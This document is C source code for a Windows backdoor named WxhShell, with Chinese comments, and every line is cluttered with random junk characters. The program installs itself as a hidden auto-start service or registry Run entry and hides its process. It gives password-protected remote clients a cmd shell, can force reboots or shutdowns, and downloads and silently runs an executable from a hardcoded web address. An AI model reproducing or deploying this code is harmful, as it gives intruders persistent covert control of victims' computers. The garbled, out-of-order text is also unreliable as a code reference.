    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mf [v7\  
    else { 1;O%8sp&  
    closesocket(wsh); .Pz( 0Y  
    ExitThread(0); rl#[HbPM  
    } Co`O{|NS}!  
    break; *=+m;%]_  
    } !nX}\lw  
  // 获取shell cE}y~2cH  
  case 's': { Dw\)!,,i7U  
    CmdShell(wsh); N!O.=>8<  
    closesocket(wsh); .m',*s<CMQ  
    ExitThread(0); )"Ef* /+  
    break; v.eNWp  
  } ARcPHV<(2  
  // 退出 \?n4d#=$o  
  case 'x': { rgth2y]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \2$-.npz  
    CloseIt(wsh); KC@F"/h`/  
    break; :wlX`YW+e  
    } 2|J>e(&akY  
  // 离开 |$$gj[+^  
  case 'q': { .23z\M8 -  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] qT\z<}  
    closesocket(wsh); 3$c Im+  
    WSACleanup(); \FVm_)  
    exit(1); ;QMRm<CLV  
    break; #;4afj:2g  
        } NF/@'QRT  
  } ho 5mH{"OV  
  } gEWKM(5B}  
%by8i1HR  
  // 提示信息 ~g&FeMo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D{b*,F:&@)  
} f 7g?{M  
  } YA7h! %52)  
O' 5xPJ  
  return; 6\8 lx|w  
} 9XU"Ppv  
u9 LP=g  
// shell模块句柄 (%\vp**F  
int CmdShell(SOCKET sock) ?Hb5<,1u3  
{ ^|h5*Tb  
STARTUPINFO si; Pfy2PpA  
ZeroMemory(&si,sizeof(si)); 3['aK|qk.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W(5et5DN,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DK!QGATh  
PROCESS_INFORMATION ProcessInfo; v]"W.<B,  
char cmdline[]="cmd"; (e:@7W)L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dNQR<v\IL  
  return 0; RyI(6TZl  
} iL^bf*  
o\n9(ao  
// 自身启动模式 b^SQCX+P  
int StartFromService(void) \v7->Sy8  
{ <!+T#)Qi  
typedef struct %kod31X3<  
{ v[3QI7E3  
  DWORD ExitStatus; m)5,ut/  
  DWORD PebBaseAddress; \Lp|S:u  
  DWORD AffinityMask; yvPcD5s5  
  DWORD BasePriority; yuTSzl25,/  
  ULONG UniqueProcessId; xq U@87[_  
  ULONG InheritedFromUniqueProcessId; C\ ~!2cy  
}   PROCESS_BASIC_INFORMATION; F&ud|X=m  
3#=%2\  
PROCNTQSIP NtQueryInformationProcess; In[!g  
[Pn(d[$z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /S}4J"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  j-H2h  
MLu@|Xgh  
  HANDLE             hProcess; <{t*yMr   
  PROCESS_BASIC_INFORMATION pbi; =Nyq1~   
Ia> 07av  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E%A] 8y7  
  if(NULL == hInst ) return 0; ^)qOILn  
q+KGQ*   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 676r0`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n54}WGo>9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tz PG(f  
12D>~#J  
  if (!NtQueryInformationProcess) return 0; y4j J&  
DlD;rL=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )~u<u:N  
  if(!hProcess) return 0; a9+l :c@  
M%U1?^j8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^lI>&I&1  
q6A"+w,N  
  CloseHandle(hProcess); (IE\}QcK  
PP]Z~ne0X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); []\=(Uc;  
if(hProcess==NULL) return 0; vVA)x~^  
HVG:q#=C  
HMODULE hMod; :u ruC  
char procName[255]; IP#?$X  
unsigned long cbNeeded; h'wI  
.%\lYk]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9fj8r3 F#  
l-~ o&n  
  CloseHandle(hProcess); w1N-`S:  
UP+4xG  
if(strstr(procName,"services")) return 1; // 以服务启动 gq:2`W&5  
Z7$"0%  
  return 0; // 注册表启动 4ayZ.`aK  
} oMw#ROsvC  
v\#1&</qd^  
// 主模块 <$:Hf@tpMo  
int StartWxhshell(LPSTR lpCmdLine)  ~T'!.^/  
{ fG`<L;wi  
  SOCKET wsl; ]"T1clZKd(  
BOOL val=TRUE; 6u6,9VG,  
  int port=0; vgyv~Px]AW  
  struct sockaddr_in door; 79Y;Zgv  
;_TPJy  
  if(wscfg.ws_autoins) Install(); K'DRX85F  
}Q<c E$c  
port=atoi(lpCmdLine); sf(2~BMQI  
B=,j$uH  
if(port<=0) port=wscfg.ws_port; HUuZ7jJwf  
Y!0ZwwW  
  WSADATA data; 0CtPq`!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :tTP3 t5  
Eg/=VBtc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {i!@C(M3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \-F F[:|J  
  door.sin_family = AF_INET; Mu>WS)1lS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E$?:^ausu  
  door.sin_port = htons(port); :OFL@byS  
~A-1x!YiU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +j">Ju6Q;.  
closesocket(wsl); c1CUG1i  
return 1; rT}k[  
} 6.>l  
-$0w-M8'  
  if(listen(wsl,2) == INVALID_SOCKET) { JPt0k  
closesocket(wsl); UwQyAD]Ht  
return 1; }o  {6  
} Y7L1`<SC  
  Wxhshell(wsl); *^WY+DV  
  WSACleanup(); ^CtA@4  
sm1(I7y  
return 0; ^XbN&'^,HL  
5kju{2`GF  
} /"LcW"2;N  
y"o@?bny  
// 以NT服务方式启动 QaAWO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U`HSq=J  
{ J<'7z%2w  
DWORD   status = 0; B[8`l} t  
  DWORD   specificError = 0xfffffff; rcx'`CIJ  
q=+AN</  
  serviceStatus.dwServiceType     = SERVICE_WIN32; re-;s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e>a4v8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vr1yj  
  serviceStatus.dwWin32ExitCode     = 0; P+j5_V{\b  
  serviceStatus.dwServiceSpecificExitCode = 0; LaolAqU  
  serviceStatus.dwCheckPoint       = 0; 74u_YA<"  
  serviceStatus.dwWaitHint       = 0; (uk-c~T!u  
{;T7Kg.C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7B"*< %<  
  if (hServiceStatusHandle==0) return; WU" Lu  
JPq2C\Ka  
status = GetLastError(); 1[&V6=n  
  if (status!=NO_ERROR) =8!FY"c*  
{ :Q@qR((&o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4sCzUvI~Y1  
    serviceStatus.dwCheckPoint       = 0; TODTR7yGo  
    serviceStatus.dwWaitHint       = 0; btV Tt5  
    serviceStatus.dwWin32ExitCode     = status; XX:?7:j}[8  
    serviceStatus.dwServiceSpecificExitCode = specificError; -{tB&V~+v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `YinhO:Z  
    return; !eH9LRp  
  } (*CGZDg  
MkCq$MA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A/%+AH(  
  serviceStatus.dwCheckPoint       = 0; 6L)]nE0^  
  serviceStatus.dwWaitHint       = 0; 6_.K9;Gd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PU\?eA  
} 6S2u%-]  
f L}3I(VK  
// 处理NT服务事件,比如:启动、停止 |~Op|gs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AdWLab;  
{ ;Wws;.~  
switch(fdwControl) ~ }g"Fe  
{ 9t1aR*b&@  
case SERVICE_CONTROL_STOP: P0 va=H  
  serviceStatus.dwWin32ExitCode = 0; 5^}"Tn4I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GF3"$?Cw  
  serviceStatus.dwCheckPoint   = 0; :*`5|'G}  
  serviceStatus.dwWaitHint     = 0; iLyJ7zby  
  { ,vnHEY&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O6[,K1,  
  } r@XH=[:  
  return; &QoV(%:]  
case SERVICE_CONTROL_PAUSE: O'OVj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z TM1 e  
  break; xXJl Qbs  
case SERVICE_CONTROL_CONTINUE: 9AxeA2/X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F_?aoP&5  
  break; ~ e4Pj`?=K  
case SERVICE_CONTROL_INTERROGATE: 0rjH`H]M  
  break; i r-= @@  
}; ^F*G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vwlPFr Ll  
} <yxEGjm  
I`~ofq?r  
// 标准应用程序主函数 p7\}X.L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZP]l%6\.  
{ 7<ZP(I5X  
?0{8fGM4  
// 获取操作系统版本 R43yr+p  
OsIsNt=GetOsVer(); Td7=La0   
GetModuleFileName(NULL,ExeFile,MAX_PATH); >sUavvJ~x  
~ PO)>;  
  // 从命令行安装 aMxg6\8  
  if(strpbrk(lpCmdLine,"iI")) Install(); zJ*|tw4  
y" (-O%Pe  
  // 下载执行文件 XJs*DK  
if(wscfg.ws_downexe) { }i"\?M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B ``)  
  WinExec(wscfg.ws_filenam,SW_HIDE); OMi_')J  
} 0E6tH& ;>  
@Qlh  
if(!OsIsNt) { (zVT{!z  
// 如果时win9x,隐藏进程并且设置为注册表启动 .%.bIT  
HideProc(); C6$F.v  
StartWxhshell(lpCmdLine); vy <(1\  
} 3rF=u:r7c  
else N3_rqRd^  
  if(StartFromService()) GW]b[l  
  // 以服务方式启动 EH*Lw c  
  StartServiceCtrlDispatcher(DispatchTable); tSP)'N<  
else J FYV@%1~  
  // 普通方式启动 ;^Q - 1  
  StartWxhshell(lpCmdLine); r+4<Lon~  
0gR!W3dh  
return 0; b6@(UneVM  
} Nq$Xe~,*  
1ZUmMa1(  
9^DXw!  
S? -6hGA j  
=========================================== 1Qc>A8SU  
gPo3jwo$  
!\)9fOLs  
Ju0W  
`t@Rh~B  
Wfw6(L  
" u%o2BLx  
\Ax[/J2aO  
#include <stdio.h> )A@i2I  
#include <string.h> )IFzal}o  
#include <windows.h> 9kpCn.rJ  
#include <winsock2.h> ]TE,N$X  
#include <winsvc.h> >=T\=y  
#include <urlmon.h> g RX`61  
3M?vK(zG>P  
#pragma comment (lib, "Ws2_32.lib") k*?Axk#  
#pragma comment (lib, "urlmon.lib") e\9H'$1\  
x#-+//  
#define MAX_USER   100 // 最大客户端连接数 \-Oq/g{j  
#define BUF_SOCK   200 // sock buffer I6jDRC0<  
#define KEY_BUFF   255 // 输入 buffer 62}rZVJq  
yV'<l .N  
#define REBOOT     0   // 重启 X-Yy1"6m1  
#define SHUTDOWN   1   // 关机 NoR=:Q 9e  
A9?h*/$  
#define DEF_PORT   5000 // 监听端口 I^CKq?V?:  
f|U J%}$v;  
#define REG_LEN     16   // 注册表键长度 ,h#U<CnP#  
#define SVC_LEN     80   // NT服务名长度 i uNBw]  
nB8JdM2h{  
// 从dll定义API YgeU>I|v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y [pU8QSt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K|OowM4tv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .y)Y20=o!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l6AG!8H  
$69ef[b  
// wxhshell配置信息 FtEmSKD  
struct WSCFG { 5UTIGla  
  int ws_port;         // 监听端口 2E*k@  
  char ws_passstr[REG_LEN]; // 口令 `;:zZ8*  
  int ws_autoins;       // 安装标记, 1=yes 0=no aS7%x>.A!  
  char ws_regname[REG_LEN]; // 注册表键名 kY$vPHZpN  
  char ws_svcname[REG_LEN]; // 服务名 `X=2Ff  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;)SWUXa;{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "%,KZI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $PNS`@B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^<}>]F_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u`Sg'ro  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nJ ZQRRa:C  
s--\<v  
}; v4YY6? 4  
9uRs@]i  
// default Wxhshell configuration 2".^Ma^D!  
struct WSCFG wscfg={DEF_PORT, Y(` # J[  
    "xuhuanlingzhe", fV\ eksBF  
    1, e@GR[0~  
    "Wxhshell", 6?CBa]QG  
    "Wxhshell", C8J3^ ?7E  
            "WxhShell Service", (t{m(;/  
    "Wrsky Windows CmdShell Service", 4Y=sTXbFt  
    "Please Input Your Password: ", EZz`pE  
  1, Rzolue 8  
  "http://www.wrsky.com/wxhshell.exe", N?7vcN+-t)  
  "Wxhshell.exe" ub#>kCL9  
    }; syseYt]  
RyxEZ7dC<y  
// 消息定义模块 *>ilT5q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yD0,q%B`}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P/'9k0zs)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H,? )6pZ  
char *msg_ws_ext="\n\rExit."; W/U_:^[-  
char *msg_ws_end="\n\rQuit."; Q]?Lg  
char *msg_ws_boot="\n\rReboot..."; sbZ^BFqp  
char *msg_ws_poff="\n\rShutdown..."; <MPoDf?h  
char *msg_ws_down="\n\rSave to "; e-taBrl;  
frYPC Irj  
char *msg_ws_err="\n\rErr!"; <IX)D `mf  
char *msg_ws_ok="\n\rOK!"; nt"8kv  
!*U#,qY  
char ExeFile[MAX_PATH]; 9O%4x"*PO  
int nUser = 0; Fe4QWB6\U  
HANDLE handles[MAX_USER]; NW$C1(oT  
int OsIsNt; mNvK|bTUT  
Mohy;#8Wk  
SERVICE_STATUS       serviceStatus; =h083|y>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X@ljZ  
Rv ]?qJL  
// 函数声明 xTnd9'Pk`:  
int Install(void); e<wRA["  
int Uninstall(void); :\0q\2e[<  
int DownloadFile(char *sURL, SOCKET wsh); U2tsHm.O  
int Boot(int flag); ~)S Q{eK?&  
void HideProc(void); K|H&x"t  
int GetOsVer(void); O\5*p=v  
int Wxhshell(SOCKET wsl); C~2/ 5  
void TalkWithClient(void *cs); KAR XC,z  
int CmdShell(SOCKET sock); A~vZ}?*M  
int StartFromService(void); h=q%h8  
int StartWxhshell(LPSTR lpCmdLine); _HT*>-B  
Y:nF.An3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W~1/vJ.*l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b&$ ?.z  
seFug  
// 数据结构和表定义 }OeEv@^  
SERVICE_TABLE_ENTRY DispatchTable[] = $z7[RLu0!  
{ M y:9  
{wscfg.ws_svcname, NTServiceMain}, W#<&(s4  
{NULL, NULL} eQk ~YA]K  
}; )e)@_0  
LhZWK^!{S  
// 自我安装 x8a?I T.  
int Install(void) gT K5z.]  
{ ILUA'T=B0  
  char svExeFile[MAX_PATH]; AgsMk  
  HKEY key; DPfP)J:~  
  strcpy(svExeFile,ExeFile); e75 k-  
d[.kGytUt  
// 如果是win9x系统,修改注册表设为自启动 eSynw$F2N  
if(!OsIsNt) { [aF?1KxNMt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $+IE`(Ckf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Ek<J+& |I  
  RegCloseKey(key); d{.cIv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H/_R!G8 \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z_#B 4  
  RegCloseKey(key); NF1e>O:a<  
  return 0; y2V9!  
    } \ ?[#>L4  
  } JMu|$"o&{  
} PsDks3cG  
else { 'Y+AU#1~H  
[L1pDICoy  
// 如果是NT以上系统,安装为系统服务 BRP9j y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %T*lcg  
if (schSCManager!=0) w>T1D  
{ xm>RLx}9  
  SC_HANDLE schService = CreateService %}cGAHV  
  ( eL9 RrSXz  
  schSCManager, lTPo2-j/eK  
  wscfg.ws_svcname, aG?ko*A;  
  wscfg.ws_svcdisp, @EzSosmF  
  SERVICE_ALL_ACCESS, =+q9R`!L]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m~9Qx`fi`  
  SERVICE_AUTO_START, AiSO|!<.N  
  SERVICE_ERROR_NORMAL, KyW6[WA9  
  svExeFile, vV1F|  
  NULL, /-<S FT`  
  NULL, y3$i?}?A  
  NULL, U9IP`)z_5t  
  NULL, < vU<:S  
  NULL >#B%gxff  
  ); \4I1wdd|^  
  if (schService!=0) JwbC3 t):@  
  { eX 9{wb(  
  CloseServiceHandle(schService); I!.o& dk  
  CloseServiceHandle(schSCManager); xL4qt=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r00waw>C\  
  strcat(svExeFile,wscfg.ws_svcname); V'~] b~R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XF(I$Mxl6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T%K(opISc(  
  RegCloseKey(key); ^AMcZ6!\  
  return 0; 0\%/:2   
    } ?:Y{c#w>  
  } HDYr?t~V  
  CloseServiceHandle(schSCManager); @HJ&"72$<  
} Ixg.^>62  
} 4)+MvKxjS  
Gvv~P3Dm  
return 1; Z5;1ySn{  
} ex7zg!  
n>jb<uz  
// 自我卸载 j]}A"8=1  
int Uninstall(void) *}Zd QJL  
{ R6] /g  
  HKEY key; QIF|pZ+^  
B#AAG*Ai8  
if(!OsIsNt) { m v%fX2.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vb)Z&V6(  
  RegDeleteValue(key,wscfg.ws_regname); 0G1?  
  RegCloseKey(key); Bp 6jF2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MPA<?  
  RegDeleteValue(key,wscfg.ws_regname); CL|t!+wU/  
  RegCloseKey(key); H1rge<  
  return 0; Bvzl* &?  
  } LU~U>  
} UvRa7[<y%%  
} 2Ch!LS:+  
else { S*Scf~Qp  
`o yz"07m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X{\>TOk   
if (schSCManager!=0) [t5:4 Iq  
{ lZZ4 O(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _aL:XKM  
  if (schService!=0) _H>ABo  
  { B;Ab`UX#t  
  if(DeleteService(schService)!=0) { KB <n-'  
  CloseServiceHandle(schService); NmYSk6kWJ  
  CloseServiceHandle(schSCManager); 5c($3Pno=  
  return 0; >/nS<y>  
  } {uh]b (}s)  
  CloseServiceHandle(schService); :M9'wg  
  } V;mKJ.d${  
  CloseServiceHandle(schSCManager); p{xO+Nx1a  
} 'W usEME  
} ;!DUNzl  
[tym~ZZ]_m  
return 1; &10vdAnBRC  
} %YG ~ql  
eG9tn{  
// 从指定url下载文件 ]S<eO6z  
int DownloadFile(char *sURL, SOCKET wsh) RoSh|$JF  
{ A U9Y0<  
  HRESULT hr; VI0^Zq!6R  
char seps[]= "/"; CdlE"Ye  
char *token; $r*7)/  
char *file; N[d*_KN.!  
char myURL[MAX_PATH]; b>=MG8  
char myFILE[MAX_PATH]; S Y>i@s+ML  
!}|n3wQ  
strcpy(myURL,sURL); )a.Y$![  
  token=strtok(myURL,seps); _HX 1E  
  while(token!=NULL) oh:q:St  
  { \~d|MP}"F:  
    file=token; U(3+*'8r,1  
  token=strtok(NULL,seps); 3Ba>a(E  
  } r-v ;A  
H!Z=}>TN  
GetCurrentDirectory(MAX_PATH,myFILE); H_m(7@=  
strcat(myFILE, "\\"); 2s>dlz  
strcat(myFILE, file); V$%%nG uE  
  send(wsh,myFILE,strlen(myFILE),0); [H)NkR;I  
send(wsh,"...",3,0); Q( .d!CQ>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zJWBovT/  
  if(hr==S_OK) 9%WUh-|'p  
return 0; #Mw|h^ Wm  
else "- S2${  
return 1; S%<RV6{aiM  
2%U)y;$m2  
} $7eO33Bm  
*CZvi0&  
// 系统电源模块 WL$Ee=  
int Boot(int flag) Og[NRd+  
{ Ex9%i9H  
  HANDLE hToken; $Nvt:X_  
  TOKEN_PRIVILEGES tkp; H$TYp  
&S}%)g%Iv9  
  if(OsIsNt) { l{F^"_U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w^Qb9vTa8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P3V=DOG"  
    tkp.PrivilegeCount = 1; T`KH7y|bv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R+k-mbvnt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fH~InDT^  
if(flag==REBOOT) { FJKW=1 =,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V{@ xhW0  
  return 0; D,%R[F? 5O  
} #mwV66'H  
else { `RDl k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rOQhS]TP*  
  return 0; {vYmK#}  
} BqC, -gC  
  } Bv_C *vW  
  else { iL(rZT&^  
if(flag==REBOOT) { d2lOx|jt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N|hNh$J[  
  return 0; YfL|FsCh  
} %"^$$$6%  
else { U]j4Izq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %}jwuNGA  
  return 0; Li~(kw3  
} $O"S*)9  
} 7NC"}JB&  
YVt#( jl  
return 1; Uf )?sz  
} !Cxo4Twg  
[^xLK  
// win9x进程隐藏模块 `$oGgz6ZT  
void HideProc(void) !GI*R2<W  
{ Gxu   
hR,VE'A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gX<"-,5jc  
  if ( hKernel != NULL ) .,zrr&Po  
  { p\I,P2on  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tWR>I$O8F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NIufL }6\  
    FreeLibrary(hKernel); <>/0 ;J1<  
  } J'^H@L/E  
@Ee{ GH^-  
return; MMg"G6?  
} r&sm&4)p-5  
t mAj  
// 获取操作系统版本 .;j}:<  
int GetOsVer(void) L rV`P)$T  
{ v0euvs  
  OSVERSIONINFO winfo; ; (I(TG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SK f9 yS#  
  GetVersionEx(&winfo); 2u 8z>/G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LWgYGXWT"  
  return 1; XnC`JO+7M  
  else ,b;eU[!]  
  return 0; j8WMGSrrF  
} CVfQ  
MT{7I"  
// 客户端句柄模块 ;M{@|z[Nv  
int Wxhshell(SOCKET wsl) } LuPYCzpu  
{ db$wKvO1  
  SOCKET wsh; 1haH2F^ q3  
  struct sockaddr_in client; ={& }8VA  
  DWORD myID; ;Zfglid  
R T/T+Q!  
  while(nUser<MAX_USER) xb/L AlJ  
{ Jlgo@?Lc  
  int nSize=sizeof(client); Fw ,'a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L ;5R*)t  
  if(wsh==INVALID_SOCKET) return 1; yVA<-PlS<  
lq0@)'D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !YD~o/t@|  
if(handles[nUser]==0) .xJW=G{/  
  closesocket(wsh); p H&Tb4  
else PDN3=PAR/A  
  nUser++; ,\*PpcU  
  } f-6hcd@Ca  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JMp>)*YS  
:4 9ttJl  
  return 0; VQSwRL3B=  
} 3Z?"M  
OsS5WY0H  
// 关闭 socket piq1cV  
void CloseIt(SOCKET wsh) {}F?eI  
{ 9qyA{ |3  
closesocket(wsh); h<KE)^).  
nUser--; Nb.AsIR^  
ExitThread(0); E]G#"EV!Y  
} J:s^F n  
n _G< /8  
// 客户端请求句柄 3SbtN3  
void TalkWithClient(void *cs) MUo}Qi0K  
{  Fa  
W i a%rm  
  SOCKET wsh=(SOCKET)cs; N>, `l  
  char pwd[SVC_LEN]; 8r7}6  
  char cmd[KEY_BUFF]; "`pI! nj  
char chr[1]; 5nq0#0O c  
int i,j; &,?bX])  
F$TNYZ  
  while (nUser < MAX_USER) { F8e]sa$K\  
@^g/`{j>J  
if(wscfg.ws_passstr) { 'FB?#C%U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dB{o-R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Ny.OA  
  //ZeroMemory(pwd,KEY_BUFF); ]"'$i4I{R  
      i=0; ,TrrqCw>  
  while(i<SVC_LEN) { ')pXQ  
z[kz [  
  // 设置超时  QW  
  fd_set FdRead; j$l[OZ:#  
  struct timeval TimeOut; xyGk\= S  
  FD_ZERO(&FdRead); H{*~d+:ol  
  FD_SET(wsh,&FdRead); U1pL `P1  
  TimeOut.tv_sec=8; }?f%cRT$  
  TimeOut.tv_usec=0; [kf$8 2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jq6BwUN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0@w8,x  
gg ;&a(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fIOI  
  pwd=chr[0]; XA`<*QC<  
  if(chr[0]==0xd || chr[0]==0xa) { HCP' V  
  pwd=0; nSxFz!  
  break; &A=>x  
  } JA!O,4  
  i++; vby[# S|  
    } .ztO._J7f  
ya7/&Z )0  
  // 如果是非法用户,关闭 socket ?C#=Q6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H]@M00C  
} zyNg?_SM  
3Qt-%=b&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5&5 x[S8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V:?exJg9  
&Q7vY  
while(1) { 9I0}:J;7  
f?O?2g  
  ZeroMemory(cmd,KEY_BUFF); _F|oL|  
H f}->  
      // 自动支持客户端 telnet标准   `TvpKS5.Y  
  j=0; #biI=S  
  while(j<KEY_BUFF) { hS) X`M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H+&c=~D\_  
  cmd[j]=chr[0]; #QdBI{2  
  if(chr[0]==0xa || chr[0]==0xd) { )l}Gwd]h  
  cmd[j]=0; Q[t|+RNKv2  
  break; tuzw% =Ey  
  } }?zy*yL  
  j++; 0zD[mt  
    } )H&rr(  
if6/ +7  
  // 下载文件 -ea":}/  
  if(strstr(cmd,"http://")) { zTODV<-`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I5[HD_g:  
  if(DownloadFile(cmd,wsh)) };5d>#NK,Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L F\4>(C2g  
  else LadE4:oy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L+s3@ C;b  
  } X 4\  
  else { ]"Y? ZS;H  
N?]HWP^pg  
    switch(cmd[0]) { 9V5}%4k%+  
  :\I88 -N@'  
